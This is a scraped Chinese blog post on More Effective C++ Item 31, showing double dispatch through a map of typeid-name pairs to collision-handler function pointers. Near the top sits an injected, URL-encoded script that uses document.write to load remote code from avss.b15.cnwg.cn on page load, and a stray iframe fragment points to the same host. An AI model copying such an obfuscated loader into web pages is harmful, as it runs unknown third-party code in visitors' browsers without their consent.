More Effective C++之31

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
More Effective C++之31




条款31:让函数根据一个以上的对象型别来决定如何虚化
      
如果函数有两个自变量,而这两个自变量都是继承类,我们如果根据排列组合的办法来实现继承类。RTTI或者只使用虚函数?似乎都不是好办法。Meyers给出的解决方案是自行仿真虚函数表格(
Virtual Function Tables

考虑如下代码:
#include
<
string
>
#include
<algorithm>
#include
<
iostream
>
#include
<
map
>
#include
<typeinfo>
using
namespace
std
;
class
GameObject
{
public
:
      
GameObject
(){}
      
virtual
~
GameObject
(){}
protected
:
private
:
};
 
class
SpaceShip
:
public
GameObject
{
public
:
      
SpaceShip
(){};
      
virtual
~
SpaceShip
(){}
protected
:
private
:
      
int
i
;
};
 
class
Station
:
public
GameObject
{
public
:
      
Station
(){}
      
virtual
~
Station
(){}
};
 
class
Asteriod
:
public
GameObject
{
public
:
      
Asteriod
(){}
      
virtual
~
Asteriod
(){}
};
void
shipAsteriod
(
GameObject
&
spaceShip
,
GameObject
&
asteriod
)
{
      
printf
(
"shipAsteriod/n"
);
}
 
void
shipStation
(
GameObject
&
spaceShip
,
GameObject
&
station
)
{
      
printf
(
"shipStation/n"
);
}
 
void
asteriodStation
(
GameObject
&
asteriod
,
GameObject
&
station
)
{
      
printf
(
"asteriodStation/n"
);
}
 
void
asteriodShip
(
GameObject
&
asteriod
,
GameObject
&
spaceShip
)
{
      
shipAsteriod
(
spaceShip
,
asteriod
);
}
 
void
stationShip
(
GameObject
&
station
,
GameObject
&
spaceShip
)
{
      
shipStation
(
station
,
spaceShip
);
}
 
void
stationAsteriod
(
GameObject
&
station
,
GameObject
&
asteriod
)
{
      
asteriodStation
(
asteriod
,
station
);
}
 
typedef
void
(*
HitFunctionPtr
)(
GameObject
&,
GameObject
&);
typedef
map
<
pair
<
string
,
string
> ,
HitFunctionPtr
>
HitMap
;
HitMap
*
initializeCollisionMap
();
HitFunctionPtr
lookup
(
const
string
&
class1
,
const
string
&
class2
);
 
pair
<
string
,
string
>
makeStringPair
(
const
char
*
s1
,
const
char
*
s2
);
 
void
processCollision
(
GameObject
&
obj1
,
GameObject
&
obj2
)
{
      
HitFunctionPtr
phf
=
lookup
(
typeid
(
obj1
).
name
(),
typeid
(
obj2
).
name
());
      
if
(
phf
)
       {
             
phf
(
obj1
,
obj2
);
       }
      
else
             
throw
exception
();
}
 
 
pair
<
string
,
string
>
makeStringPair
(
const
char
*
s1
,
const
char
*
s2
)
{
      
return
pair
<
string
,
string
>(
s1
,
s2
);
}
 
HitMap
*
initializeCollisionMap
()
{
      
HitMap
*
phm
=
new
HitMap
;
       (*
phm
)[
makeStringPair
(
typeid
(
SpaceShip
).
name
(),
typeid
(
Asteriod
).
name
())] = &
shipAsteriod
;
       (*
phm
)[
makeStringPair
(
typeid
(
SpaceShip
).
name
(),
typeid
(
Station
).
name
())] = &
shipStation
;
       (*
phm
)[
makeStringPair
(
typeid
(
Station
).
name
(),
typeid
(
Asteriod
).
name
())] = &
stationAsteriod
;
       (*
phm
)[
makeStringPair
(
typeid
(
Station
).
name
(),
typeid
(
SpaceShip
).
name
())] = &
stationShip
;
       (*
phm
)[
makeStringPair
(
typeid
(
Asteriod
).
name
(),
typeid
(
SpaceShip
).
name
())] = &
asteriodShip
;
       (*
phm
)[
makeStringPair
(
typeid
(
Asteriod
).
name
(),
typeid
(
Station
).
name
())] = &
asteriodStation
;
      
return
phm
;
}
 
 
HitFunctionPtr
lookup
(
const
string
&
class1
,
const
string
&
class2
)
{
      
static
auto_ptr
<
HitMap
>
collisionMap
(
initializeCollisionMap
());
      
HitMap
::
iterator
iter
=
collisionMap
->
find
(
makeStringPair
(
class1
.
c_str
(),
class2
.
c_str
()));
      
if
(
iter
==
collisionMap
->
end
())
             
return
0;
      
return
iter
->
second
;
}
 
int
main
(
int
argc
,
char
*
argv
[])
{
      
SpaceShip
ship
;
      
Asteriod
ast
;
      
Station
s
;
      
processCollision
(
ship
,
ast
);
      
processCollision
(
ast
,
ship
);
      
processCollision
(
s
,
ship
);
      
processCollision
(
ship
,
s
);
      
processCollision
(
ast
,
s
);
      
processCollision
(
s
,
ast
);
      
return
0;
}
 
这是一个用RTTI来实现的
Virtual Function Table
的仿真,那么在这个
Function Table
中,只需要加入合适的函数指针到map中去就可以了。千万注意的是,如果想支持RTTI,并须有虚函数存在才可以,否则……。我开始就犯了这个错误。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值